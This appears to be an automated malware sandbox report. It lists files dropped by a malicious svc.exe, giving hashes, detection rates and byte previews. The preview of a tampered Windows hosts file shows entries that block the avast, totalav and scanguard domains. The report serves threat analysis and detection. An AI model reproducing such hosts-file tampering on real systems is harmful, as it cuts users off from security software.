SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\nhylsjsvllxf.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\svc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	150528
Entropy (8bit):	5.769203996328619
Encrypted:	false
SSDEEP:	3072:60gp4UGo8MYmB99SrtM0ieiG027bAM8mMu0cM:60c4kzOieR02s
MD5:	658AC2968AC81EADBE165CFD2A770C34
SHA1:	39D228C2B5D1181ABE8BCE6A95FE852C8E06A79C
SHA-256:	4F698FB3C8100837ACB42BEE30B7B0C362BCF6D3C617880BEDC86E1D57C25D11
SHA-512:	CAF647E30FB73FE25E879A83C38D24B9E2453754DABBB3B2C7E885B814C9C06053206CBAAE777061C3873FC687DE5F15FAC5058B8B675C57235CFCCC2277A106
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87% Antivirus: Virustotal, Detection: 80%, Browse
Joe Sandbox View:	Filename: H8Q1WRGrzw.exe, Detection: malicious, Browse Filename: vABMEuk0Ie.exe, Detection: malicious, Browse Filename: Readme.lnk, Detection: malicious, Browse Filename: SecuriteInfo.com.Win64.CrypterX-gen.16599.19591.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: rust_cheat.exe, Detection: malicious, Browse Filename: blaaack.exe, Detection: malicious, Browse
Preview:	MZ......................@.......................................sr......!..L.!This program cannot be run in DOS mode....$............qgL.qgL.qgL..aM.qgL..fM.qgL.qfL.qgLO.oM.qgLO..L.qgLO.eM.qgLRich.qgL........................PE..d.....[c.........."...... ...*.......#.........@..........................................`..................................................8.......p..`....`..8....................5..8............................................0...............................text...%........ .................. ..`.rdata.......0.......$..............@..@.data........P......................@....pdata..8....`.......8..............@..@.rsrc...`....p.......:..............@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\svc.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	10426648
Entropy (8bit):	7.648557200639253
Encrypted:	false
SSDEEP:	98304:Ri8PI8YhtNar6EzgWmw4386lomr6V3HrP8WXcePQB5FxxJpP8oojTvZf9tn7/gal:RdgrhPaGEwlomO8McYg7Fd0TvZ9t/0y
MD5:	327B8ED0CDEBAE6962718656B5A72A4C
SHA1:	CA1D9CF5D800C9743DD194A334C149B979FD833E
SHA-256:	392CF677345CC76896C49A0C996D224D7DDB5F74CFA443CD8FD26FCF936571BD
SHA-512:	237043CC79C2471804C5D66FE22B39DEF95E0A0FEDF4EA438B9A560BF2535DE8F3C40CB0C0818ED4DFCB353D1B7D96772CC142AEB055F5055D21F1B69DE95172
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79% Antivirus: Virustotal, Detection: 68%, Browse
Preview:	MZ......................@.......................................hr......!..L.!This program cannot be run in DOS mode....$.......PE..d...i..d...............&........>.............@..........................................`... ..............................................@..p....p..................)......0...............................(....................B..`............................text...............................`..`.data....n.......n..................@....rdata...O...p...P...Z..............@..@.pdata..............................@..@.xdata..\..........................@..@.bss.....=...............................idata..p....@.....................@....CRT....`....P.....................@....tls.........`.....................@....rsrc........p.....................@....reloc..0..........................@..B........................................................................................................................................................................

C:\Windows\System32\drivers\etc\hosts

Download File

Process:	C:\Users\user\AppData\Local\Temp\svc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2748
Entropy (8bit):	4.269302338623222
Encrypted:	false
SSDEEP:	48:vDZhyoZWM9rU5fFcDL6iCW1RiJ9rn5w0K:vDZEurK9XiCW1RiXn54
MD5:	7B1D6A1E1228728A16B66C3714AA9A23
SHA1:	8B59677A3560777593B1FA7D67465BBD7B3BC548
SHA-256:	3F15965D0159A818849134B3FBB016E858AC50EFDF67BFCD762606AC51831BC5
SHA-512:	573B68C9865416EA2F9CF5C614FCEDBFE69C67BD572BACEC81C1756E711BD90FCFEE93E17B74FB294756ADF67AD18845A56C87F7F870940CBAEB3A579146A3B6
Malicious:	true
Preview:	# Copyright (c) 1993-2009 Microsoft Corp...#..# This is a sample HOSTS file used by Microsoft TCP/IP for Windows...#..# This file contains the mappings of IP addresses to host names. Each..# entry should be kept on an individual line. The IP address should..# be placed in the first column followed by the corresponding host name...# The IP address and the host name should be separated by at least one..# space...#..# Additionally, comments (such as these) may be inserted on individual..# lines or following the machine name denoted by a '#' symbol...#..# For example:..#..# 102.54.94.97 rhino.acme.com # source server..# 38.25.63.10 x.acme.com # x client host....# localhost name resolution is handled within DNS itself...#.127.0.0.1 localhost..#.::1 localhost....0.0.0.0 avast.com..0.0.0.0 www.avast.com..0.0.0.0 totalav.com..0.0.0.0 www.totalav.com..0.0.0.0 scanguard.com..0.0.0.0 www.scanguard.com..

C:\Windows\System32\winevt\Logs\Application.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	2352
Entropy (8bit):	3.69608397130941
Encrypted:	false
SSDEEP:	48:MWn0ugCrP+kcSLdwSCtR65EfWHjjP4OFiNa5nyr7O3:pjgnjJOLjjP4Ok4Qy3
MD5:	EBC77E48510B9D3ADC7B3EE1E6AFC60C
SHA1:	ACB72286AD63857771760B94D5636655704CB73D
SHA-256:	C6C185D46B816A41406FCF120E070017190C5F4897C9DA2429154BA0A9EA155E
SHA-512:	9327D4729DD25113D1D8668C5DB63149C09CFA12572F4769813E9A710147CD9DEF118498DC195CD3560AA8F3B5D6323C4EBFE79974227E228308E9536BCDBE40
Malicious:	false
Preview:	ElfChnk.................q.......q...............0...A........................................................................tIq................g...........................=...................................................................................p...................................t...?...........................................F...................M...5...........................@...................................................................................................................&...**..0...q........2 t.............&...........=..R..u..$.w.......A..k...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..2............{..P.r.o.v.i.d.e.r.......F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.A.P.I.2.F........)...G.u.i.d.....&.{.5.b.b.c.a.4.a.8.-.b.2.0.9.-.4.8.d.c.-.a.8.c.7.-.b.2.3.d.3.e.5.2.1.6.f.b.}.

C:\Windows\System32\winevt\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 3 chunks (no. 2 in use), next record no. 304, DIRTY
Category:	dropped
Size (bytes):	109960
Entropy (8bit):	3.645100106786527
Encrypted:	false
SSDEEP:	768:yVUHiapX7xadptrDT9W849dVUHiapX7xadptrDT9W849:NHi6xadptrX9WPOHi6xadptrX9WP
MD5:	EFAADB70840E313B8AB087D49C54C1B9
SHA1:	406B4ACCD621A6FDCAC18899300000EECBCBB1B1
SHA-256:	E16E9FD68776F844D433EE5BAD061542B47C26ECE7552032C86B33C1D4E50B26
SHA-512:	C2AF80DC86C07B82AEC64392E86BBBF798CBAB1D8EDACC0627DBA429EFB5B7359B2C22F0CDD97D4FF3D2D7A853DA25BC6721360807EFE13E40DB04E385A20522
Malicious:	false
Preview:	ElfFile.................0...................................................................................................Fo.xElfChnk.........1...............1...........p.......Q-.......................................................................~..................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&........r...................m..............qo...................>...;..................**..............4.9...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.010692427789071
Encrypted:	false
SSDEEP:	384:GhLNzhNCjN0QNGNgN7NxEN5N0RN0zN0mN0RN00N0oN0xN0qNeN0NN0UN0lN09N0Q:GnqqIJMa/Mh9sUwBYAJGUarGlEwxV
MD5:	26C4C5213F3C6B727417EF07207AC1E0
SHA1:	1815CC405C8B70939C252390E2A1AEC87EFF45F2
SHA-256:	767656ADC7440970A3117E0DA8E066D9A3E1DA88CBC82ACABCFA37A3985D5608
SHA-512:	0355BBF16EB471698F47189031E8E18306D8F748E6CC5328C33301BEAAE435647532B24F5EC42A94B92390C19E60D11846B412C6747DC82DC98999E649607B65
Malicious:	false
Preview:	ElfChnk.%.......J.......%.......J............b..Pe.....:....................................................................&...................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...........].......M...............................VY..................................**......%........0................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	66960
Entropy (8bit):	4.166031663440386
Encrypted:	false
SSDEEP:	384:iVqVThfVaVtVbVHVyV5V+VSVBVNVEVrVBVeVPVpVCVigVgVpVeVNVkVUVAVJVgVf:3hft+rt
MD5:	D628CAFB5568DFD54905F59ECB6B1612
SHA1:	767414CA4C083F05D26AB0EB01F8E37E1F86E0A1
SHA-256:	7188170B031538707A4E0CCE0768514717EFEF0963F4C721ED8C9908864F7EEC
SHA-512:	DADD56C19DA2A3FD9C538F8BF1D612ADF7CA59FD3ACB8C6608B9C24BFBD80712C2B3F3A298FD07E167D7FB1BFEFE1AAD6574CE5C3A31C2E0761716C1F33300E8
Malicious:	false
Preview:	ElfChnk.............................................@z......................................................................BBh.................0.......................X...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&.....................................................t.............&...............................................................@.......X...a.!.....E..........@....t.....&O....<.'O........P........................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t...'..Y.J.R>:..=_M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t./.O.p.e.r.a.t.i.o.n.a.l...f.d.........N...M.i.c.r.o.s.o.f.t...W.i.n.d.o.w.s...S.e.a.r.c.h._.c.w.5.n.1.h.2.t.x.y.e.w.y.....O.p......................t...........

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.427500665682992
Encrypted:	false
SSDEEP:	384:XhTm5mcYmNQxmomTDDr0moOm3OPlfmMsgJm5mnmYmcmum/mqmlmtmumbsmbmvMmk:X8zD6CL49mVpgwQFQ
MD5:	5869B00EA6A1CFB37951FE4B72A7AC44
SHA1:	0904F67CA6DECCE5ABF521A7DE12951AAAB33992
SHA-256:	BFA77D9711B31CF9EA3A27DCC6A75D1963EE97B88BBA23A033EE5A4F02F8E8A5
SHA-512:	9FE1A471AF1614B483C526386B64B1485CC17C81A325E138D79481EE1CCB8C6F15F02F0110750310BDAB380C9F282DECACC78DCFA11E657DAE5CCAFD4F32A78F
Malicious:	false
Preview:	ElfChnk..!.......!.......!.......!............................................................................................rH................J.......................r...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................#...............&...................................**.......!......o.T..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 1 chunks (no. 0 in use), next record no. 2, DIRTY
Category:	dropped
Size (bytes):	69448
Entropy (8bit):	0.6202750759990482
Encrypted:	false
SSDEEP:	96:59NVaO8sMa3Z85ZMLzrjjP3Z85ZuANVaO8sMa3Z85ZMLzrjjP3Z85Zu:5nV7pp8nMLnvPp8n/V7pp8nMLnvPp8n
MD5:	2E288CEF8D2DB52B9AC7EDC521617877
SHA1:	3B347F8C4498234E35922B7FDDEDEBAE89B9695E
SHA-256:	B6C7A60782D58AC87B820E96931FF6CB6E8A4A7AE1C46A945170CBDE344CF119
SHA-512:	F1A3DB502F78A65E90BC2DB5C5F308D7D769BE37B17D9330BCB8EA4318327C03678B63297CB14070CE0C5CE1742BB3FB128209478D3913455EF01315D803CFD9
Malicious:	false
Preview:	ElfFile.....................................................................................................................A..>ElfChnk.....................................p.......sx[.....................................................................V.9............................................=...........................................................................................................................f...............?...................................p...........M...F...................................................................................................................................&...............**..p...........n.d.............g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.014860518194814
Encrypted:	false
SSDEEP:	1536:xbBN2A4VD7VAx8whAGU2woJQghcI5oIRA4Hw:
MD5:	4FB8E2CF8B3F20534836684947962DC2
SHA1:	B263607E627C81DA77DB65DF5AED2F3FD84B83E2
SHA-256:	DEAB680C467984C31D118AC595F0F57E573CEEC460CC4B43FCEB0BD66F731294
SHA-512:	D982DB741A044E222D567712FB4799FF6524A1D451C3D2EE3DF7EB17031AD20EF4EC7098BCFB3E2B00C929EB6569C858EFCF275B28240425E4BF8D994AED9053
Malicious:	false
Preview:	ElfChnk.........V...............V...................0q....................................................................... I............................................=...................................................................................%.......................................X...............?...............................................M...F...................................................................................................................................z...............**..............................g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.15655690871689
Encrypted:	false
SSDEEP:	768:SPB9TXYa1RFxRaayVadMRFyfqd9xZRta7Ea+5BVZUeaBhN1dJhlBlBJ9tFk6dd3s:eXY5nVYIyyqED5BVZUeouPZ
MD5:	2DE60575CB719BF51FAB8A63F696B052
SHA1:	BD44E6B92412898F185D5565865FEA3778573578
SHA-256:	7C14D6D72CD2DE834A0C4D17A68B2584B83B81C647D2C439E1071600E29A803D
SHA-512:	0471E7824795996992E736F33FEA7AF70EA909804DE3AC59EE76B5D0403901A5147558256C3AAE87BA8F1747D151DE63134661BEB9F6E0FF25AB0E3E89BC6B4A
Malicious:	false
Preview:	ElfChnk.........o...............o..........................................................................................._..................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................................................y.......................**................9..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16528
Entropy (8bit):	4.193569127842288
Encrypted:	false
SSDEEP:	384:AosKPoZoaAkoj+yTvoeFsoayEoJoaymoroayYoJoayWpVop2oayr/o18oaymoHoL:tjp+RYU
MD5:	AAA4E34B6C5469B210C4BF9720F1CBBE
SHA1:	2C7E20FF9005B623B87B503EEB9FFBBE0E88BB8B
SHA-256:	180ACD56191C71206E2EE9DD3AF93BADE80689CBFE00A88FE3835A0A47595AC4
SHA-512:	70AF55F1F1FBFAAFA5493915B17E9459B702366ED07BF9173BF4597634EE8D13A11AF700FCF09C8887231E12AEE8AF46A875DD56824E76E02C8C77E805206498
Malicious:	false
Preview:	ElfChnk.....................................8J..pL..4./.........................................................................................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................&....................................3..................................=/...........$..U)..............................*..............G\.t..............$..............................................................>.......V...X.!..e..............*G\.t.....&O....{"'O........t........................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.o.d.e.I.n.t.e.g.r.i.t.y..k.N.<.D..97d>7.M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.o.d.e.I.n.t.e.g.r.i.t.y./.O.p.e.r.a.t.i.o.n.a.l...!>.U)......!>....[.U.....i...........\|...:....A..3...b...%....=.......F.i.l.e.N.a.m.e.L.e.n.g.t.h.......A..3...b...%....=.......F.i.l.e.N

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-BindFlt%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8524226245257144
Encrypted:	false
SSDEEP:	384:JhAiPA5PNPxPEPHPhPEPmPSPRP3PoPpPTP8PXPr5P:J2Nr
MD5:	B8E105CC52B7107E2757421373CBA144
SHA1:	39B61BEA2065C4FBEC143881220B37F3BA50A372
SHA-256:	B7EE076088005866A01738ECD3421A4DA3A389FFB9EEB663687823E6647F7B4B
SHA-512:	7670455904F14DA7A9EEFBAD5616D6D00EA262C979EDABB433182500B6EF918C6E534C94DF30D829016C8539DF12CAD5F53EC884C45AA71ACA35CF9B797361BC
Malicious:	false
Preview:	ElfChnk......................................#...&...l2.......................................................................................N...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&....................................................................................#..........'.......................**..x.............\|..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-Wcifs%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8432997252442703
Encrypted:	false
SSDEEP:	384:4hZ21JJgL4JJFiJJ+aeJJ+WBJJ+5vJJ+/UJJ+4fJJ+CwJJ+D2JJ+a2JJ+JtJJ+l9:4WXSYieD+tvgzmMvRpBWfb
MD5:	39EE3557626C7F112A88A4DE12E904C1
SHA1:	C307FECC944D746A49EEA6451B7DA7301F03504C
SHA-256:	2B47146267E6F31192C54D3EDA77EC9ABE6A88B1C72BA9FE789C8073FD632A5A
SHA-512:	304C866E246B3F63BF126B33AED784913A078D44913FD987D896D2D960578B61BA7E24BA3CB8FC76608AB1E5702D0FE587A5FB8C38CDF8913D60F88B1435A2D9
Malicious:	false
Preview:	ElfChnk......................................"...&.....k.....................................................................n..................F...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&...................................................................................."..................................**..p............zu..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.9223892466691472
Encrypted:	false
SSDEEP:	384:whqhSx4h/y4Rhph5h6hNh5hah/hrhbhmhjh/h7hkh8hbhMh9hYwhChwh8hRqh28t:wbCyhLfIXBS5
MD5:	93BC7C28E3A7B0EC7634432FFB5F26AE
SHA1:	388548D6291DA80F672153D1C18E32BDA335AA90
SHA-256:	D354F4EA745283540D197B6D4C57EFC4F539F7566CFB3A06AEBD1243CD222EE1
SHA-512:	3235FEA5A58C72DCD680D436AA2652F5221C6AC6F5A53882C7817A8A65E63C13087CD5660839FC7CFA0F62C666014608B91ABB4235EF5F79F68EF5806252F84A
Malicious:	false
Preview:	ElfChnk.........F...............F...............P............................................................................................6.......................^...=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................n...................................................6...................................*..`............0H..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.838106263184782
Encrypted:	false
SSDEEP:	768:ccMhFBuyKskZljdoKXjtT/r18rQXn8r3e5POH:JMhFBuVge
MD5:	A2D41740C1BAF781019F282E37288DDF
SHA1:	A6FE635B3EC8A6923EDE10C23FC79DD32EF4F621
SHA-256:	7008D3010B17C0B09643D10D26B19FB971BB1963C414C1466BEAD617CF9F15E7
SHA-512:	E33A0A2F9473D2D05E9704FE16E6EE34FB51FD8E25A3D60E1F7A67665CA14421B6511D896526AFC7CAE1BF629BB7013FA10663620C5450F1BB51A465EF5A51CB
Malicious:	false
Preview:	ElfChnk.........?...............?...................<.md.....................................................................?.Q................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............m...........................5A......&...................................**..x...........,.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.634418630947688
Encrypted:	false
SSDEEP:	768:/VQ+uYvAzBCBao/F6Cf2SEqEhwaK41HZaUeI36ISKEeKRe:cH
MD5:	A00BAFFCABB00428EA0512FCECCC55E5
SHA1:	19F7C942DC26C3FF56D6240158734AFF67D6B93E
SHA-256:	92264C9E28AB541669DED47CFAF1E818EBD863FA9E8FC6B0F52175D694A9E0D9
SHA-512:	DF94AA8FA0610A0EFE7BAC0DB2A01645A4CD1C7FAD62E914EF914B526B651ED62600F63909D26149FD17C259348DADE05F48759B1DF092970251DB86690CC2B6
Malicious:	false
Preview:	ElfChnk.........m...............m.....................]......................................................................p.................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................................................................%0......**..@...........WW. ..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.0646587531847893
Encrypted:	false
SSDEEP:	384:eh1kbAP1gzkw3kN5Ayqk+HkzGk+hkV3SuckzlckA66k+4DkzRxk+dkzwUk+rkzDK:eMAP1Qa5AgfQQgniwS
MD5:	399CAF70AC6E1E0C918905B719A0B3DD
SHA1:	62360CD0CA66E23C70E6DE3340698E7C0D789972
SHA-256:	FD081487CCB0ACEAD6F633AADBA4B977D2C9360CE8EAC36EAB4E3C84A701D849
SHA-512:	A3E17DA61D4F7C0C94FD0B67707AE35250656842D602906DE515B5E46ECD5078AC68AE607B99DC1A6061B0F896759FE46FF8EE350774205635D30363D46939EA
Malicious:	false
Preview:	ElfChnk......................................g...j..%s.g........................................................................................b...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&........................................&...........c..;...............................**..x...........HD................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-GroupPolicy%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.4364303862010575
Encrypted:	false
SSDEEP:	384:PhrE2E+EAsbE3VgEWsUiEcEf4eEOhEmELVFEEE5ejElEreEFEzEAEWE+EWEeEKEy:P3sleByhfIwPGa1SEzy
MD5:	2BB73ACC8F7419459C4BF931AB85352C
SHA1:	F1CE2EB960D3886F76094E2327DD092FC1208C7E
SHA-256:	1969400F6FC72AD4A41092FEC53A19078C98DE9FCB2507A3BD8E1930B2447B62
SHA-512:	7D882184DA11B490E111502C8193B73248259D43CC5DCE021CD7264212F1BCD3D62F2A3A2F86929663E2E904961D4F1E406E314020FE904D41694A09C1EB0457
Malicious:	false
